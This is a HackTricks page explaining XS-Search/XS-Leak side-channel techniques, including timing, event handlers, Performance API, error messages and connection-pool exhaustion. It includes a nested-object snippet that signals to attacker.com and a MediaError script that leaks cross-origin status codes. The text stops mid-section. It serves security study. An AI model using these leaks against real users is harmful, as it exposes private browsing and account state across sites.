87 KiB
XS-Search/XS-Leaks
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Basic Information
XS-Search is a technique oriented to exfiltrate cross-origin information abusing side channel attacks.
There are different elements in this kind of attack:
- Vulnerable Web: Is the web from where we want to exfiltrate some info
- Attacker's Web: Is the web the attacker creates containing the exploit and that the victim access
- Inclusion Method: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
- Leak Technique: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
- States: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
- Detectable Differences: This is the information the attacker has to try to decide the status of the vulenrable web
Detectable Diferences
In order to distinguish between the 2 states of the vulnerable page several things could be looked at:
- Status Code. An attacker can distinguish different HTTP response status codes cross-origin (e.g., server errors, client errors, or authentication errors).
- API Usage. This detectable difference allows an attacker to detect Web APIs’ usage across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
- Redirects. It is possible to detect if a web application has navigated the user to a different page. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
- Page Content. These detectable differences appear in the HTTP response body itself or in sub-resources included by the page. For example, this could be the number of included frames (cf. XS-Leak on Gitlab) or size differences of images.
- HTTP Header. An attacker can detect the presence of a specific HTTP response header and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
- Timing: An attacker can detect that a consistent time difference exists between 2 states.
Inclusion Methods
- HTML Elements. HTML offers a variety of elements that enable cross-origin resource inclusion. Elements like stylesheets, images, or scripts, force the victim’s browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online (https://github.com/cure53/HTTPLeaks).
- Frames. Elements such as iframe, object, and embed may embed further HTML resources directly into the attacker page. If the page does not use framing protection, JavaScript code can access the framed resource’s window object via the contentWindow property.
- Pop-ups. The
window.open
method loads a resource in a new browser tab or window. The method returns a window handle that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it bypasses framing and cookie restrictions for a target resource. Newer browser versions recently added means to isolate window handles. - JavaScript Requests. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: XMLHttpRequests and its successor Fetch API. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.
Leak Techniques
- Event Handler. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of onload indicates a successful resource loading in contrast to the onerror event.
- Error Messages. Beyond event handlers, error messages can occur as JavaScript exceptions and special error pages. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional information directly contained in the error message, or distinguish between the appearance and absence of an error message.
- Global Limits. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browser’s running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine when the limit is reached this can be used as a leak technique.
- Global State. Browsers have global states that all pages can interact with. If this interaction is detectable from an attacker’s website, it can be used as a leak technique. For example, the History interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the number of entries allows an attacker to draw conclusions about cross-origin pages.
- Performance API. The Performance API is used to access the performance information of the current page. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw conclusions about requested resources. For example, we identified cases where browsers will not create performance entries for some requests.
- Readable Attributes. HTML has several attributes that are readable cross-origin. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.
Timing Based techniques
Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
XSinator
XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper: https://xsinator.com/paper.pdf
You can access the tool in https://xsinator.com/
{% hint style="warning" %} Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate. {% endhint %}
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Event Handler Techniques
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code.
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}
The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the onload
and onerror
events inside the tag (instead of injecting it from JS).
There is also a script-less version of this attack:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In this case if example.com/404
is not found attacker.com/?error
will be loaded.
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: The **** performance.now() API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as PerformanceLongTaskTiming API which can identify tasks running for more than 50ms.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events another example in:
{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Onload Timing + Forced Heavy Task
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: The SharedArrayBuffer clock can be used to measure how much time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
The unload
and beforeunload
events can be used to measure the time it takes to fetch a resource. This works because beforeunload
is triggered when the browser requests a new navigation request, while unload
is triggered when that navigation actually occurs. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the time it took the browser to complete fetching the resource.
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
If a page doesn’t have any Framing Protections implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the onload
handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the sandbox
attribute in the <iframe>
. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside
<script>
tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed. - Code Example:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: Attackers can observe when CORB is enforced if a response returns a CORB protected
Content-Type
(andnosniff
) with the status code2xx
which results in CORB stripping the body and headers from the response. Detecting this protection allows an attacker to leak the combination of both the status code (success vs. error) and theContent-Type
(protected by CORB or not). - Code Example:
Check the more information link for more information about the attack.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: Leak sensitive data from the id or name attribute.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
It's possible to load a page inside an iframe and use the #id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
You can perform the same attack with portal
tags.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
- Code Example:
Any code listening for all postMessages.
Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one could find sensitive info (potentially if the the targetOrigin
param is not used). Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Detect Payment Request because only one can be active at a time.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: Measure execution time of a web abusing the single-threaded JS event loop.
- Code Example:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript’s concurrency model is based on a single-threaded event loop which means it can only run one task at a time.
Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.
{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: Measure execution time of a web locking the event loop of a thread and timing how long it takes for the event loop to become available again.
- Code Example:
One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
- Code Example:
{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, browsers have to impose a limit. To exploit the existence of this limit, attackers can:
- Check what the limit of the browser is, for example 256 global sockets.
- Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
- Use the 256th socket by performing a request to the target page.
- Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Summary: It's like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Performance API Techniques
The Performance API
provides access to performance-related information enhanced by the data from the Resource Timing API
which provides the timings of network requests such as the duration but when there’s a Timing-Allow-Origin: *
header sent by the server the transfer size and domain lookup time is also provided.
This data can be accessed by using performance.getEntries
or performance.getEntriesByName
It can also be used to get the execution time using the difference of performance.now()
however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the performance
object in Chrome.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: A request that results in errors will not create a resource timing entry.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Due to a browser bug, requests that result in errors are loaded twice.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Requests that result in an error can not be merged.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Empty responses do not create resource timing entries.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Detect presence of specific elements in a webpage with the XSS-Auditor in SA.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
In SA, it is possible to detect if the XSSAuditor was triggered and thus leak sensitive information. The XSS-Auditor is a built-in feature of SA and GC (now removed) designed to mitigate Cross-Site Scripting (XSS) attacks. In 2013, Braun and Heiderich [7] showed that the XSS-Auditor can be used to block benign scripts with false positives. Based on their technique, researchers exfiltrate information and detect specific content on a cross-origin page. These XS-Leaks were first described in a bug report by Terada and later in a blog post by Heyes . However, the discovered techniques applied only to the XSS-Auditor in GC and do not work in SA. We found that blocked pages will not create Performance API entries. That means an attacker can still leak sensitive information with the XSS-Auditor in SA.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: Resource with X-Frame-Options header does not create resource timing entry.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options
.
Same happens if you use an embed tag.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Downloads do not create resource timing entries in the Performance API.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Resource timing entry leaks the start time of a redirect.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: The duration of timing entries is negative when a redirect occurs.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Resource protected with CORP do not create resource timing entries.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: Detect if a service worker is registered for a specific origin.
- Code Example:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: Detect if a resource was stored in the cache.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Using the Performance API it's possible to check if a resource is cached.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary: It is possible to retrieve the network duration of a request from the
performance
API. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: In FF, it is possible to accurately leak a cross-origin request’s status code.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
The message property of the MediaError
interface contains a different string for resources that loads successfully. This allows an attacker to infer the response status for a cross-origin resource.
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In SA CORS error messages leak the full URL of redirects.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
This technique allows an attacker to leak the target of a redirect that is initiated by a cross-origin site.
CORS allows publicly accessible web resources to be read and used from any website. In Webkit-based browsers, it is possible to access CORS error messages when a CORS request fails. An attacker can send a CORS-enabled request to a target website which redirects based on the user state. When the browser denies the request, the full URL of the redirect target is leaked in the error message. With this attack, it is possible to detect redirects, leak redirect locations, and sensitive query parameters.
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In SA CORS error messages leak the full URL of redirects.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
An attacker can leak the size of cross-origin responses due to verbose error messages.
The integrity attribute defines a cryptographic hash by which the browser can verify that a fetched resource has not been manipulated. This security mechanism is called Subresource Integrity (SRI). It is used for integrity verification of resources served from content delivery networks (CDNs). To prevent data leaks, cross-origin resources must be CORS-enabled. Otherwise, the response is not eligible for integrity validation. Similar to the CORS error XS-Leak, it is possible to catch the error message after a fetch request with an integrity attribute fails. An attacker can forcefully trigger this error on any request by specifying a bogus hash value. In SA, this error message leaks the content length of the requested resource. An attacker can use this leak to detect differences in response size, which enables powerful XS-Leak attacks.
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect.
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.
If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed with the CSP iframe attribute.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
A new feature in GC allows web pages to proposes a CSP by setting an attribute on an iframe element. The policy directives are transmitted along with the HTTP request. Normally, the embedded content must explicitly allow this with an HTTP header, otherwise an error page is displayed. However, if the iframe already ships a CSP and the new policy is not stricter, the page will display normally.
This allows an attacker to detect specific CSP directive of a crossorigin page, if it is possible to detect the error page. Although, this bug is now marked as fixed, we found a new leak technique that can detect the error page, because the underlying problem was never fixed.
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resource protected with CORP throws error when fetched.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB can allow attackers to detect when the
nosniff
header is present in the request. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
Check the more information link for more information about the attack.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: If the Origin header is reflected in the header
Access-Control-Allow-Origin
it's possible to check if a resource is in the cache already. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
In case the Origin header is being reflected in the header Access-Control-Allow-Origin
an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain).
Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *
) this won't work.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Submitting a request using the Fetch API with redirect: "manual"
and other params, it's possible to read the response.type
attribute and if it's equals to opaqueredirect
then the response was a redirect.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: COOP protected pages can not be accessed.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
An attacker can leak if the Cross-Origin Opener Policy (COOP) header is available within a cross-origin HTTP response.
Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this header can easily be detected by trying to read the contentWindow
reference. If a site only deploys COOP in one state, this property (opener
) is undefined, otherwise it is defined.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script>
will automatically send the cookies (so you can check for errors).
An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
or to be in the same context is usually needed for this type of attack.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
